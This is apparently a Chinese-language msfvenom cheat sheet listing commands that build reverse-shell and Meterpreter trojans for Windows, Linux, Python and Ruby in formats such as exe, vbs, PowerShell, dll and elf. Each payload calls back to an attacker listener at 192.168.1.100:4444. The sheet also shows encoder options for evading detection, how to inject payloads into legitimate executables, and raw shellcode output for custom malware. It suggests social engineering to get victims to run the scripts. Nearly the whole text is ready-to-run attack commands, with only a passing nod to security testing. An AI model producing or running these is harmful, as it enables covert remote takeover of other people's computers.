目录
2. VBS 脚本(Visual Basic Script)
什么是 msfvenom
?
msfvenom
是 Metasploit 框架中的一个工具,用于生成各种类型的Payload(有效载荷),可以用来创建木马、后门等。它支持多种编码方式、文件格式和平台,生成的木马可以用于测试系统的安全性。
常用参数说明:
-p
:指定 Payload 类型(例如windows/meterpreter/reverse_tcp
)。-f
:指定输出格式(例如exe
、elf
、py
等)。-o
:指定输出文件路径。-b
:避免使用某些坏字符(例如\x00
)。-e
:指定编码器(例如x86/shikata_ga_nai
)。-i
:指定编码迭代次数。LHOST
:监听主机的 IP 地址。LPORT
:监听端口。
一、针对 Windows 的木马生成命令
以下是针对 Windows 平台的常用 Payload 示例,涵盖不同语言和格式。
1. EXE 格式(经典可执行文件)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /path/to/output/malware.exe
解释:
Payload:
windows/meterpreter/reverse_tcp
(反向 TCP 连接的 Meterpreter Shell)。输出格式:
exe
(Windows 可执行文件)。用途:生成一个基本的 Windows 木马,连接回攻击者的 IP 和端口。
2. VBS 脚本(Visual Basic Script)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f vbs -o /path/to/output/malware.vbs
解释:
输出格式:
vbs
(VBScript 脚本)。用途:适合通过社会工程学诱导用户执行脚本。
3. PowerShell 脚本
msfvenom -p windows/powershell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f psh -o /path/to/output/malware.ps1
解释:
Payload:
windows/powershell/reverse_tcp
(基于 PowerShell 的反向 Shell)。输出格式:
psh
(PowerShell 脚本)。用途:利用 Windows 自带的 PowerShell 执行。
4. DLL 文件(动态链接库)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o /path/to/output/malware.dll
解释:
输出格式:
dll
(动态链接库)。用途:可以注入到其他进程中执行。
5. Python 脚本(跨平台,但针对 Windows)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f py -o /path/to/output/malware.py
解释:
输出格式:
py
(Python 脚本)。用途:需要在目标上有 Python 环境。
6. 添加编码避免检测
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o /path/to/output/malware.exe
解释:
编码器:
x86/shikata_ga_nai
(多态编码器)。迭代次数:
-i 5
(编码 5 次)。坏字符:
-b "\x00"
(避免空字节)。
二、针对 Linux 的木马生成命令
以下是针对 Linux 平台的常用 Payload 示例。
1. ELF 文件(Linux 可执行文件)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o /path/to/output/malware.elf
解释:
Payload:
linux/x86/meterpreter/reverse_tcp
(Linux 下的反向 Meterpreter)。输出格式:
elf
(Linux 可执行文件格式)。用途:直接在 Linux 上运行。
2. Bash 脚本
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f sh -o /path/to/output/malware.sh
解释:
Payload:
linux/x86/shell_reverse_tcp
(反向 Shell)。输出格式:
sh
(Shell 脚本)。用途:生成简单的 Bash 脚本木马。
3. Python 脚本(跨平台,但针对 Linux)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f py -o /path/to/output/malware.py
解释:
输出格式:
py
(Python 脚本)。用途:需要目标安装 Python。
4. Perl 脚本
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f pl -o /path/to/output/malware.pl
解释:
输出格式:
pl
(Perl 脚本)。用途:适合在支持 Perl 的 Linux 系统上运行。
5. 添加编码避免检测
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b "\x00" -f elf -o /path/to/output/malware.elf
解释:
与 Windows 类似,使用编码器和坏字符过滤。
三、跨平台 Payload 示例
以下是一些跨平台的木马生成命令,通常依赖目标环境的解释器(如 Python、Ruby 等)。
1. Python 跨平台木马
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o /path/to/output/malware.py
解释:
Payload:
python/meterpreter/reverse_tcp
。输出格式:
raw
(纯 Python 代码)。用途:可在 Windows 和 Linux 上运行(需要 Python)。
2. Ruby 脚本
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f rb -o /path/to/output/malware.rb
解释:
输出格式:
rb
(Ruby 脚本)。用途:需要目标安装 Ruby。
四、其他实用技巧
1. 生成多平台 Payload 并嵌入到现有文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legit.exe -f exe -o /path/to/output/infected.exe
解释:
-x
:将 Payload 嵌入到一个合法的可执行文件中。
2. 生成原始 Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
解释:
输出格式:
c
(生成 C 语言格式的 Shellcode)。用途:用于手动注入或开发自定义恶意软件。
3. 列出所有可用 Payload
msfvenom --list payloads
解释:查看所有支持的 Payload 类型。